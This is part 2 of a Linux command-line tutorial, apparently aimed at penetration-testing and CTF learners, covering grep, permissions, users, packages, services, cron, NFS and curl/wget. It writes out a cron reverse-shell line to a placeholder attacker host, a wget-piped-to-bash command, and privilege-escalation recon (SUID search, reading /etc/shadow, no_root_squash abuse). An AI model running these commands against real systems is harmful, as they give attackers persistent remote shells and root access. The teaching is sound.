head & tail — Read Specific Parts of a File
TERMINAL
JohnDoe@target[~]$ head /etc/passwd # first 10 lines
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

JohnDoe@target[~]$ head -n 3 /etc/passwd # first 3 lines
JohnDoe@target[~]$ tail -n 5 /etc/passwd # last 5 lines
JohnDoe@target[~]$ tail -f /var/log/auth.log # live stream — new lines appear as they're written
grep — Find Lines Matching a Pattern

Grep is the workhorse of text filtering. It scans input line by line and only outputs lines that match your pattern. It's used constantly — from filtering command output to hunting through logs and config files.

TERMINAL — grep patterns
# Lines that contain the pattern
JohnDoe@target[~]$ cat /etc/passwd | grep "/bin/bash"
root:x:0:0:root:/root:/bin/bash
JohnDoe:x:1002:1002::/home/JohnDoe:/bin/bash

# Inverted — lines that DON'T match (-v)
JohnDoe@target[~]$ cat /etc/passwd | grep -v "nologin\|false"
root:x:0:0:root:/root:/bin/bash

# Search recursively through an entire directory (-r)
JohnDoe@target[~]$ grep -r "password" /etc/ 2>/dev/null

# Case-insensitive (-i), show line numbers (-n)
JohnDoe@target[~]$ grep -in "admin" /etc/passwd
7: lpadmin:x:116:65534::/var/run/lpadmin:/usr/sbin/nologin
Building a Pipeline — cut, tr, column, awk, sed, wc

The real power of these tools is chaining them. Here's a step-by-step example that takes raw /etc/passwd content and progressively extracts and formats just the data we want:

TERMINAL — pipeline built step by step
# Step 1 — filter: remove service accounts (no real shell)
JohnDoe@target[~]$ cat /etc/passwd | grep -v "nologin\|false"
root:x:0:0:root:/root:/bin/bash
JohnDoe:x:1002:1002::/home/JohnDoe:/bin/bash

# Step 2 — cut: extract only the username (field 1, delimited by :)
JohnDoe@target[~]$ ... | cut -d":" -f1
root
JohnDoe

# Step 3 — tr: replace colons with spaces for readability
JohnDoe@target[~]$ ... | tr ":" " "
root x 0 0 root /root /bin/bash

# Step 4 — column -t: auto-align into neat columns
JohnDoe@target[~]$ ... | column -t
root x 0 0 root /root /bin/bash
JohnDoe x 1002 1002 JohnDoe /home/JohnDoe /bin/bash

# Step 5 — awk: print only first and last fields ($1 and $NF)
JohnDoe@target[~]$ ... | awk '{print $1, $NF}'
root /bin/bash
JohnDoe /bin/bash

# Step 6 — sed: do a text substitution (s/find/replace/g)
JohnDoe@target[~]$ ... | sed 's/\/bin\/bash/SHELL/g'
root SHELL
JohnDoe SHELL

# Step 7 — wc -l: count how many results
JohnDoe@target[~]$ cat /etc/passwd | grep -v "nologin\|false" | wc -l
4
🔗
The full one-linercat /etc/passwd | grep -v "nologin\|false" | tr ":" " " | awk '{print $1, $NF}' | sort | uniq — filter, reformat, extract, sort, deduplicate. This kind of pipeline replaces what would take many lines of code in a scripting language.
🎯
Regular Expressions (RegEx)
13 / 20

Regular expressions are a pattern language for matching text. Rather than searching for exact strings, you write patterns that describe the shape of what you're looking for — numbers, email addresses, IP addresses, lines starting with a specific word, and so on.

They're supported in grep, sed, awk, Python, JavaScript, and most programming languages — making this one of the most transferable skills you can learn. The syntax is the same everywhere.

Core Metacharacters
CharacterMeaningExample
.Match any single characterc.t matches "cat", "cut", "c3t"
*Zero or more of the previouslo*l matches "ll", "lol", "lool"
+One or more of the previous (extended)lo+l matches "lol", "lool" but not "ll"
?Zero or one of the previous (extended)colo?r matches "color" and "colour"
^Match start of line^root — lines starting with "root"
$Match end of linebash$ — lines ending with "bash"
[abc]Match any character in the set[aeiou] matches any vowel
[a-z]Match any character in the range[0-9] matches any digit
[^abc]Match any character NOT in the set[^0-9] matches non-digits
(a|b)Match a OR b (extended)(cat|dog) matches either word
{n,m}Match between n and m times (extended)[0-9]{1,3} matches 1–3 digits
grep with Regular Expressions
TERMINAL — regex patterns in grep
# Lines starting with "root"
JohnDoe@target[~]$ grep "^root" /etc/passwd
root:x:0:0:root:/root:/bin/bash

# Lines ending with "/bin/bash"
JohnDoe@target[~]$ grep "/bin/bash$" /etc/passwd
root:x:0:0:root:/root:/bin/bash
JohnDoe:x:1002:1002::/home/JohnDoe:/bin/bash

# Extended regex: OR operator — match "my" or "false" (-E flag)
JohnDoe@target[~]$ grep -E "(my|false)" /etc/passwd
lxd:x:105:65534::/var/lib/lxd/:/bin/false
mysql:x:116:120:MySQL Server,,:/nonexistent:/bin/false

# Extended regex: AND-like — both terms in order (.*)
JohnDoe@target[~]$ grep -E "(my.*false)" /etc/passwd
mysql:x:116:120:MySQL Server,,:/nonexistent:/bin/false

# Match lines with a UID between 1000 and 1999
JohnDoe@target[~]$ grep -E "x:1[0-9]{3}" /etc/passwd
💡
grep vs grep -E vs egrepBasic grep supports limited regex. grep -E (or its alias egrep) enables extended regex with |, +, ?, {n,m}, and grouping with (). When in doubt, always use grep -E.
🧪
Practice regexUse regex101.com — paste a regex and test it against sample text interactively, with a built-in explanation of every part of your pattern. It's the fastest way to learn and debug expressions.
🔑
Permission Management — chmod, chown, SUID, Sticky Bit
14 / 20

Linux controls access to every file and directory through a permission system. Each file has an owner (a user) and an owning group. Permissions are set separately for three audiences: the owner, the group, and everyone else (others). The three permission types are read (r), write (w), and execute (x).

Reading Permission Strings
-rwxrw-r-- 1 root root 1641 May 4 23:42 /etc/passwd

│ ├── Owner: rwx (read + write + execute)
│ ├── Group: rw- (read + write)
│ └── Others: r-- (read only)
└── Type: - (file) d (directory) l (symlink) c (char device) b (block device)
💡
Permissions on directories work differentlyOn a directory: r = can list contents (ls), w = can create/delete files inside, x = can enter it (cd). You need execute on a directory to traverse it — even if you can see the directory's name, without execute you'll get "Permission denied" when trying to enter.
chmod — Change Permissions

Permissions can be set two ways: symbolic (letters) or octal (numbers). Octal is faster once you know the values; symbolic is easier to read when making specific targeted changes.

TERMINAL — symbolic and octal permission changes
# Symbolic — who(u/g/o/a) + operator(+/-/=) + permission(r/w/x)
JohnDoe@target[~]$ chmod u+x script.sh # add execute for owner
JohnDoe@target[~]$ chmod a+r file.txt # add read for all users
JohnDoe@target[~]$ chmod o-rw secret.txt # remove read+write from others
JohnDoe@target[~]$ chmod g=rx shared/ # set group to exactly read+execute

# Octal — three digits: owner / group / others
JohnDoe@target[~]$ chmod 755 script.sh # rwxr-xr-x (owner all, others read+exec)
JohnDoe@target[~]$ chmod 644 config.txt # rw-r--r-- (owner rw, others read)
JohnDoe@target[~]$ chmod 600 private.key # rw------- (owner only)
JohnDoe@target[~]$ chmod 700 ~/.ssh/ # rwx------ (SSH dir should always be 700)

# Recursive — apply to directory and all contents
JohnDoe@target[~]$ chmod -R 755 /var/www/html/
OctalBinaryPermissionsCommon use case
7111rwxOwner of executable scripts
6110rw-Config files the owner edits
5101r-xGroup access to scripts
4100r--Read-only for others
0000---No access at all
chown — Change File Ownership
TERMINAL
# Change owner and group together
root@target[~]# chown www-data:www-data /var/www/html/index.php

# Change owner only
root@target[~]# chown JohnDoe report.txt

# Change group only (colon with no user)
root@target[~]# chown :developers project/

# Recursive ownership change
root@target[~]# chown -R www-data:www-data /var/www/
SUID & SGID — Special Execution Bits

The SUID (Set User ID) bit on an executable means it runs with the file owner's permissions instead of the caller's. If that file is owned by root, any user who runs it gets root-level access for that program's duration. They appear as s where the execute bit would normally be.

TERMINAL — finding and understanding SUID binaries
# passwd runs as root (SUID) so any user can change their own password
JohnDoe@target[~]$ ls -l /usr/bin/passwd
-rwsr-xr-x 1 root root 59640 Mar 14 2022 /usr/bin/passwd ← s = SUID

# Find ALL SUID files on the system (security audit / privesc recon)
JohnDoe@target[~]$ find / -perm -4000 -type f 2>/dev/null
/usr/bin/passwd
/usr/bin/sudo
/usr/bin/pkexec
/usr/bin/mount

# Set SUID bit on a file (only do this when you understand the implications)
root@target[~]# chmod u+s /path/to/program # or: chmod 4755 /path/to/program
⚠️
SUID as a privilege escalation vectorAny SUID binary that can be abused to spawn a shell — via file reads, shell escapes (! in pagers), or built-in commands — gives root access to any user who runs it. Check the full list of known SUID exploits at GTFOBins (gtfobins.github.io) — it's a reference for every binary that can be abused.
Sticky Bit — Protecting Shared Directories

The sticky bit on a directory ensures that users can only delete or rename their own files inside it, even if they have write permission to the directory itself. This is how /tmp works — everyone can write to it, but you can't delete other users' files.

TERMINAL
JohnDoe@target[~]$ ls -ld /tmp
drwxrwxrwt 12 root root 4096 Mar 10 08:22 /tmp ← lowercase t = sticky + execute

JohnDoe@target[~]$ ls -l
drw-rw-r-t 3 JohnDoe JohnDoe 4096 Jan 12 scripts ← t: sticky set, others can enter
drw-rw-r-T 3 JohnDoe JohnDoe 4096 Jan 12 reports ← T: sticky set, others can't enter

# Set the sticky bit on a directory
root@target[~]# chmod +t /shared/uploads/ # or: chmod 1755 /shared/uploads/
SymbolSticky bitExecute bit on directoryEffect
t (lowercase)✓ Set✓ SetOthers can enter directory, but only delete their own files
T (uppercase)✓ Set✗ Not setOthers cannot enter directory at all — maximally restrictive
👤
User Management — sudo, su, useradd, usermod, passwd
15 / 20

Linux is a multi-user system where every file, process, and resource is owned by a user or group. User management is how admins create accounts, control group membership, and grant or restrict access. Understanding this is equally critical for security — knowing how accounts and groups are structured exposes privilege escalation paths.

The core concept: root (UID 0) is the superuser with unrestricted access to everything. Regular users only do what their permissions allow. sudo lets specific users run commands as root without logging in as root — keeping a clean audit trail and limiting exposure.

sudo & su — Elevating Privileges
TERMINAL
# Run a single command as root (your password, not root's)
JohnDoe@target[~]$ sudo cat /etc/shadow
root:$6$randomsalt$hash...:19000:0:99999:7:::

# See which sudo commands your account is permitted to run
JohnDoe@target[~]$ sudo -l
User JohnDoe may run the following commands on target:
(ALL : ALL) ALL

# Open a full root login shell (loads root's environment)
JohnDoe@target[~]$ sudo -i
root@target[~]#

# Switch to another user — prompts for THEIR password
JohnDoe@target[~]$ su alice
Password: ••••••••
alice@target[/home/JohnDoe]$
Creating & Modifying Accounts
TERMINAL
# Create a new user with a home directory (-m)
root@target[~]# useradd -m alice

# Create user, set shell, and add to groups immediately
root@target[~]# useradd -m -s /bin/bash -G sudo,developers alice

# Set the password after creating the account
root@target[~]# passwd alice
New password: ••••••••
passwd: password updated successfully

# Add an existing user to a group — ALWAYS use -a (append)
root@target[~]# usermod -aG sudo alice

# Delete a user AND remove their home directory (-r)
root@target[~]# userdel -r alice

# Create and delete groups
root@target[~]# addgroup developers
root@target[~]# delgroup developers
CommandWhat it does
sudo commandRun one command as root — uses your password, not root's
sudo -lList permitted sudo commands for the current user
sudo -iOpen a full root login shell
su usernameSwitch to another user account — requires their password
useradd -m userCreate user with a home directory
usermod -aG group userAppend user to group without removing existing groups
userdel -r userDelete user and their home directory
passwd userSet or change a user's password (root can set anyone's)
⚠️
usermod -G vs -aG — never forget the -ausermod -G sudo alice without -a replaces all of Alice's groups with just sudo, silently removing every other group she was in. Always use -aG to append. This mistake can instantly break access to services, devices, and previously granted permissions.
🔍
Key files to know/etc/passwd — all user accounts, world-readable. Format: user:x:UID:GID:comment:home:shell
/etc/shadow — hashed passwords, root-readable only. Format: user:$alg$salt$hash:lastchange:...
/etc/group — group definitions and their members.
📦
Package Management — apt, dpkg, pip, git
16 / 20

In Linux, software comes in packages — archives bundling a program's binaries, config files, and dependency information. Package managers handle downloading, installing, updating, and removing software, resolving dependency chains automatically. On Debian/Ubuntu-based systems (including Kali and Parrot), the primary package manager is APT. Behind it, dpkg does the actual low-level installation. For Python packages there's pip, and raw source code gets pulled directly with git clone.

APT — The Primary Package Manager
TERMINAL — core APT workflow
# Always refresh the package index first — before installing anything
JohnDoe@target[~]$ sudo apt update
Hit:1 http://archive.ubuntu.com/ubuntu jammy InRelease
Reading package lists... Done

# Upgrade all installed packages to latest versions
JohnDoe@target[~]$ sudo apt upgrade -y

# Install a package (-y skips the confirmation prompt)
JohnDoe@target[~]$ sudo apt install nmap -y
The following NEW packages will be installed: nmap
Setting up nmap (7.93) ...

# Remove a package (keeps config files)
JohnDoe@target[~]$ sudo apt remove nmap

# Purge — remove package AND its config files
JohnDoe@target[~]$ sudo apt purge nmap

# Search for a package by keyword
JohnDoe@target[~]$ apt search impacket
python3-impacket - Python3 module to build and dissect network protocols

# Get detailed info about a package before installing
JohnDoe@target[~]$ apt-cache show nmap
Package: nmap Version: 7.93 Installed-Size: 4352 ...

# List all currently installed packages
JohnDoe@target[~]$ apt list --installed 2>/dev/null | head -10
dpkg — Installing .deb Files Manually

dpkg installs packages from local .deb files — useful when a package isn't in any apt repository. The typical workflow: download the .deb with wget, then install it with dpkg. If it has unresolved dependencies, apt install -f fixes them.

TERMINAL
# Download a .deb file then install it
JohnDoe@target[~]$ wget https://example.com/tool_1.0_amd64.deb
JohnDoe@target[~]$ sudo dpkg -i tool_1.0_amd64.deb
Selecting previously unselected package tool.
Setting up tool (1.0) ...

# Fix missing dependency errors dpkg can't resolve on its own
JohnDoe@target[~]$ sudo apt install -f

# List installed packages and filter by name
JohnDoe@target[~]$ dpkg -l | grep nmap
Other Package Sources — git, pip, gem
TERMINAL
# Clone a tool directly from GitHub into a local folder
JohnDoe@target[~]$ mkdir ~/tools && git clone https://github.com/samratashok/nishang.git ~/tools/nishang
Cloning into '/home/JohnDoe/tools/nishang'...
Receiving objects: 100% (1691/1691), 7.84 MiB | 4.86 MiB/s

# Install a Python package
JohnDoe@target[~]$ pip3 install requests

# Install a Ruby gem
JohnDoe@target[~]$ gem install evil-winrm
💡
Where apt gets its packagesAPT pulls from repositories listed in /etc/apt/sources.list and files in /etc/apt/sources.list.d/. Package data is cached locally after apt update. Third-party repos can be added with add-apt-repository. On security-focused distros like Kali, the repo is packed with tools already — just apt install them.
⚙️
Service & Process Management — systemctl, kill, jobs, bg, fg
17 / 20

A service (also called a daemon) is a background process that runs continuously — SSH, web servers, databases, cron. On modern Linux, services are managed by systemd, the system's init process with PID 1. Systemd starts at boot before everything else and spawns all other processes. Daemons are typically named with a trailing dsshd, httpd, crond.

systemctl — Controlling Services
TERMINAL
# Start / stop / restart a service
JohnDoe@target[~]$ sudo systemctl start ssh
JohnDoe@target[~]$ sudo systemctl stop apache2
JohnDoe@target[~]$ sudo systemctl restart ssh

# Check detailed status — always do this after starting a service
JohnDoe@target[~]$ systemctl status ssh
● ssh.service - OpenBSD Secure Shell server
Loaded: loaded (/lib/systemd/system/ssh.service; enabled)
Active: active (running) since Mon 2024-03-11 10:22:03 UTC
Main PID: 846 (sshd)

# Enable autostart at boot / disable it
JohnDoe@target[~]$ sudo systemctl enable ssh # persists across reboots
JohnDoe@target[~]$ sudo systemctl disable ssh # won't start on next boot

# List all active services
JohnDoe@target[~]$ systemctl list-units --type=service --state=active

# View service logs — -f streams live output like tail -f
JohnDoe@target[~]$ journalctl -u ssh.service -n 30 --no-pager
Processes & Signals

Every running program is a process with a unique PID. Processes communicate through signals — numeric codes sent by the kernel or other processes. The two you'll use most: SIGTERM (15) asks a process to shut down cleanly, and SIGKILL (9) destroys it immediately with no cleanup, no exceptions.

TERMINAL — finding and terminating processes
# Find the PID of a process
JohnDoe@target[~]$ ps aux | grep apache2
www-data 1834 0.0 0.5 18364 2048 ? S 10:22 0:00 /usr/sbin/apache2

# Graceful terminate — process receives SIGTERM and can clean up
JohnDoe@target[~]$ kill 1834

# Force kill — SIGKILL, instant, cannot be caught or blocked
JohnDoe@target[~]$ kill -9 1834

# Kill all processes matching a name
JohnDoe@target[~]$ pkill apache2
SignalNumberHow triggeredEffect
SIGHUP1Terminal closedReload config or terminate (daemon-dependent)
SIGINT2Ctrl+CInterrupt — process can catch and handle gracefully
SIGKILL9kill -9Instant death — cannot be caught, blocked, or ignored
SIGTERM15kill (default)Graceful shutdown request — process can clean up first
SIGSTOP19kill -19Pause process — cannot be caught (unlike SIGTSTP)
SIGTSTP20Ctrl+ZSuspend to background — process can catch this one
Background & Foreground Jobs

You can run multiple things in the same terminal session by backgrounding processes. Ctrl+Z suspends a foreground process, bg resumes it in the background, fg brings it back. Appending & to a command starts it directly in the background.

TERMINAL — managing jobs
# Start a process directly in the background
JohnDoe@target[~]$ nmap -sV 10.10.14.0/24 &
[1] 2847

# Suspend a foreground process (Ctrl+Z)
JohnDoe@target[~]$ python3 exploit.py
[Ctrl+Z]
[2]+ Stopped python3 exploit.py

# Resume the stopped job in the background
JohnDoe@target[~]$ bg
[2]+ python3 exploit.py &

# List all background jobs
JohnDoe@target[~]$ jobs
[1]- Running nmap -sV 10.10.14.0/24 &
[2]+ Running python3 exploit.py &

# Bring job 1 back to the foreground
JohnDoe@target[~]$ fg 1
Chaining Commands — ; vs && vs |
TERMINAL
# Semicolon (;) — run all commands regardless of success or failure
JohnDoe@target[~]$ echo "start"; ls /missing; echo "still runs"
start
ls: cannot access '/missing': No such file or directory
still runs

# Double ampersand (&&) — stop the chain if any command fails
JohnDoe@target[~]$ mkdir /tmp/work && cd /tmp/work && touch ready.txt

# Pipe (|) — pass STDOUT of left to STDIN of right
JohnDoe@target[~]$ ps aux | grep ssh | grep -v grep
⚠️
Spotting backdoor processesAttackers often name malicious processes to look like legitimate daemons. During recon, run ps aux and look for unusual processes running as root, especially anything with a trailing d you don't recognize. Compare against systemctl list-units — if a process is running but has no service unit, that's suspicious.
🕐
Task Scheduling — cron, crontab, systemd timers
18 / 20

Task scheduling automates repetitive work — backups, log rotation, system updates, cleanup scripts — so they run on a defined schedule without manual intervention. Linux has two tools for this: the classic cron daemon and the newer systemd timers. Cron is simpler and universally supported; systemd timers are more powerful but require more setup.

For security practitioners, this is critical knowledge. Attackers frequently plant cron jobs for persistence — a one-liner that calls back every minute will survive reboots and most cleanup attempts. Finding unauthorized scheduled tasks during incident response is a key skill.

cron — Time Syntax

Each crontab line defines one job using five time fields followed by the command. Fields use * for "every", */n for "every n units", or specific numbers.

* * * * * /path/to/command arg1 arg2

minute hour day month weekday
(0-59) (0-23) (1-31) (1-12) (0-7 — 0 and 7 are both Sunday)
CRONTAB — example scheduled jobs
# Every day at midnight (0 min, 0 hr, every day)
0 0 * * * /usr/local/bin/backup.sh

# Every 6 hours (*/6 = every 6 hours)
0 */6 * * * /usr/local/bin/update_software.sh

# Every Sunday at 11:30 PM (weekday 0 = Sunday)
30 23 * * 0 /usr/local/bin/cleanup.sh

# 1st of every month at 3:00 AM
0 3 1 * * /usr/local/bin/monthly_report.sh

# Every 15 minutes around the clock
*/15 * * * * /usr/local/bin/health_check.sh
TERMINAL — managing crontabs
# Edit your crontab (opens in default editor)
JohnDoe@target[~]$ crontab -e

# View your current crontab entries
JohnDoe@target[~]$ crontab -l
0 0 * * * /home/JohnDoe/backup.sh

# View root's crontab
JohnDoe@target[~]$ sudo crontab -l

# System-wide crontabs — check these during enumeration
JohnDoe@target[~]$ cat /etc/crontab
JohnDoe@target[~]$ ls /etc/cron.d/ /etc/cron.daily/ /etc/cron.weekly/
systemd Timers — The Modern Alternative

systemd timers give you more control than cron — dependencies, logging through journalctl, and event-based triggers. They require two files: a .timer unit (when to run) and a .service unit (what to run).

TERMINAL — systemd timer setup
# /etc/systemd/system/mytask.timer — defines WHEN
[Unit]
Description=My Scheduled Task
[Timer]
OnBootSec=5min # run 5 min after boot
OnUnitActiveSec=1h # then repeat every hour
[Install]
WantedBy=timers.target

# /etc/systemd/system/mytask.service — defines WHAT
[Unit]
Description=My Task
[Service]
ExecStart=/full/path/to/script.sh
[Install]
WantedBy=multi-user.target

# Reload systemd and activate the timer
root@target[~]# systemctl daemon-reload
root@target[~]# systemctl enable --now mytask.timer

# View all active timers and when they next fire
JohnDoe@target[~]$ systemctl list-timers --all
⚠️
Cron as a persistence mechanismAttackers add callback lines to crontabs: * * * * * bash -i >& /dev/tcp/attacker.ip/4444 0>&1 — this runs a reverse shell every minute. During incident response, audit all crontabs: user crontabs in /var/spool/cron/crontabs/, /etc/crontab, /etc/cron.d/, and systemctl list-timers --all.
🔍
cron vs systemd timers — when to use whichUse cron for simple recurring jobs — it's universally available and easy to read. Use systemd timers when you need dependencies (e.g. only run after network is up), event triggers, or want logs through journalctl. Both are valid in production.
🌐
Network Services — SSH Config, NFS, Web Servers
19 / 20

Linux systems regularly run network services that accept remote connections — SSH for admin access, NFS for shared filesystems, web servers for delivering content. Understanding how to install, configure, and interact with these services matters both as an admin and as someone assessing them for security weaknesses.

SSH Server — Configuration

Part 1 covered connecting to SSH. The server side is controlled through /etc/ssh/sshd_config. Misconfigurations here — like allowing root login or password auth — are a significant attack surface.

TERMINAL — SSH server setup and hardening
# Install OpenSSH server
JohnDoe@target[~]$ sudo apt install openssh-server -y

# Check that it's running
JohnDoe@target[~]$ systemctl status ssh
Active: active (running) since Mon 2024-03-11 10:22:03 UTC

# Key security settings in /etc/ssh/sshd_config
JohnDoe@target[~]$ sudo nano /etc/ssh/sshd_config
PermitRootLogin no # never allow direct root SSH
PasswordAuthentication no # keys only, disable password auth
Port 2222 # change from default port 22
MaxAuthTries 3 # limit brute-force attempts

# Apply config changes by restarting the service
JohnDoe@target[~]$ sudo systemctl restart ssh
NFS — Network File System

NFS lets you mount a remote directory over the network as if it were local. Common in enterprise environments, and exploitable when misconfigured — especially with no_root_squash, which allows remote root to act as local root on the share.

TERMINAL — NFS server config and client mount
# Server: install and start NFS
root@server[~]# sudo apt install nfs-kernel-server -y
root@server[~]# sudo systemctl start nfs-kernel-server

# Define what to share in /etc/exports
root@server[~]# echo '/home/JohnDoe/share 10.10.14.0/24(rw,sync,no_root_squash)' >> /etc/exports
root@server[~]# exportfs -ra # apply changes without restarting

# Client: mount the NFS share locally
JohnDoe@client[~]$ mkdir ~/nfs_mount
JohnDoe@client[~]$ mount 10.10.14.5:/home/JohnDoe/share ~/nfs_mount
JohnDoe@client[~]$ ls ~/nfs_mount
Export OptionWhat it does
rwAllow read and write on the share
roRead-only access only
syncWrite to disk before confirming — safer, slightly slower
asyncFaster but risks data loss on crash
root_squashMaps remote root to anonymous user — default, safer
no_root_squashRemote root keeps root privileges on the share — dangerous
Web Servers — Apache & Python

Apache2 is the full production web server. Python's http.server is a single-command instant file server — invaluable for quickly hosting files, payloads, or scripts during testing without any configuration.

TERMINAL
# Install and start Apache2
JohnDoe@target[~]$ sudo apt install apache2 -y
JohnDoe@target[~]$ sudo systemctl start apache2
Web root: /var/www/html/ — drop files here to serve them

# Quick one-liner — serve current directory on port 8000
JohnDoe@target[~]$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

# Serve a specific folder on a custom port
JohnDoe@target[~]$ python3 -m http.server 443 --directory /tmp/payloads/
⚠️
no_root_squash is a privilege escalation pathWhen an NFS export uses no_root_squash, a client mounting the share as root can create SUID binaries in it. If those binaries can be executed on the NFS server, it's a direct route to root. Always audit /etc/exports during enumeration — no_root_squash on a writable share is a critical finding.
💡
OpenVPN — connecting to lab environmentsWhen lab environments require a VPN connection, OpenVPN is the standard. Install with sudo apt install openvpn -y and connect with sudo openvpn --config your.ovpn. Your VPN IP will appear as a new interface (typically tun0), visible in ip a.
📡
Web Transfer Tools — curl, wget
20 / 20

curl and wget are your command-line interfaces to the web. They let you interact with HTTP/HTTPS servers, download files, send requests, and inspect server responses — all from the terminal. These tools appear constantly in automation, scripting, recon, and file transfer during assessments.

Key difference in default behavior: curl prints to STDOUT, wget saves to disk. Both can do either with the right flags.

curl — Transfer Data Over Any Protocol

Think of curl as a programmable browser for the terminal. It supports HTTP, HTTPS, FTP, SFTP, and more. You can read responses, send POST data, set custom headers, follow redirects, and inspect certificates — all from a single command.

TERMINAL — curl examples
# Fetch a webpage — prints HTML to STDOUT
JohnDoe@target[~]$ curl http://10.10.14.5
<!DOCTYPE html><html>...</html>

# View response headers only (-I = HEAD request, no body)
JohnDoe@target[~]$ curl -I http://10.10.14.5
HTTP/1.1 200 OK
Server: Apache/2.4.62 (Debian)
Content-Type: text/html

# Save output to a specific file
JohnDoe@target[~]$ curl http://10.10.14.5/linpeas.sh -o linpeas.sh

# Follow HTTP redirects automatically (-L)
JohnDoe@target[~]$ curl -L http://10.10.14.5/redirect

# Send a POST request with form data
JohnDoe@target[~]$ curl -X POST -d "username=admin&password=admin" http://10.10.14.5/login

# Set a custom header (e.g. for API auth or user-agent spoofing)
JohnDoe@target[~]$ curl -H "Authorization: Bearer token123" http://10.10.14.5/api/users

# Send a JSON body (REST API)
JohnDoe@target[~]$ curl -X POST -H "Content-Type: application/json" -d '{"user":"admin"}' http://10.10.14.5/api
wget — Download Files

wget is designed for downloading. Unlike curl, it saves to disk automatically with a progress bar, and handles retries on interrupted downloads. Better than curl for batch downloads or when you just need a file saved reliably.

TERMINAL — wget examples
# Download a file (saves with the original filename)
JohnDoe@target[~]$ wget http://10.10.14.5/linpeas.sh
Saving to: 'linpeas.sh'
linpeas.sh 100%[=====>] 822K 3.40MB/s in 0.2s

# Save with a custom filename (-O)
JohnDoe@target[~]$ wget http://10.10.14.5/file.bin -O exploit.bin

# Download quietly — suppress all output (-q)
JohnDoe@target[~]$ wget -q http://10.10.14.5/payload.sh

# Quiet download piped directly to bash (-O- outputs to STDOUT)
JohnDoe@target[~]$ wget -qO- http://10.10.14.5/setup.sh | bash
CommandOutput behaviorBest for
curl URLPrints to STDOUT (terminal)API calls, inspecting responses, piping output
curl -o file URLSaves to named fileDownloading with a custom filename
curl -I URLHeaders onlyServer fingerprinting, checking redirects
wget URLSaves to disk automaticallyReliable file downloads, original filename preserved
wget -qO- URLPrints to STDOUT (quiet)Piping downloaded content to another command
🛠️
Standard file transfer patternThe classic CTF / pentest workflow: on your attacking machine run python3 -m http.server 8080, then on the target run wget http://your-ip:8080/tool or curl http://your-ip:8080/tool -o tool. No FTP setup, no SCP keys — just HTTP. Works whenever you have outbound web access on the target.
⚠️
Never blindly pipe from the internet to bashcurl url | bash is a common installer pattern, but it executes whatever code exists at that URL without any review. If the server is compromised or the URL is intercepted (MITM), you're running arbitrary code as yourself — or worse, as root if you prepended sudo. Always download first, inspect the script, then execute.
── end of part 2 · sections 11–20 ──
🔒
Part 3 — Unlocking Soon

Sections 21–30 will appear here once Part 2 is complete.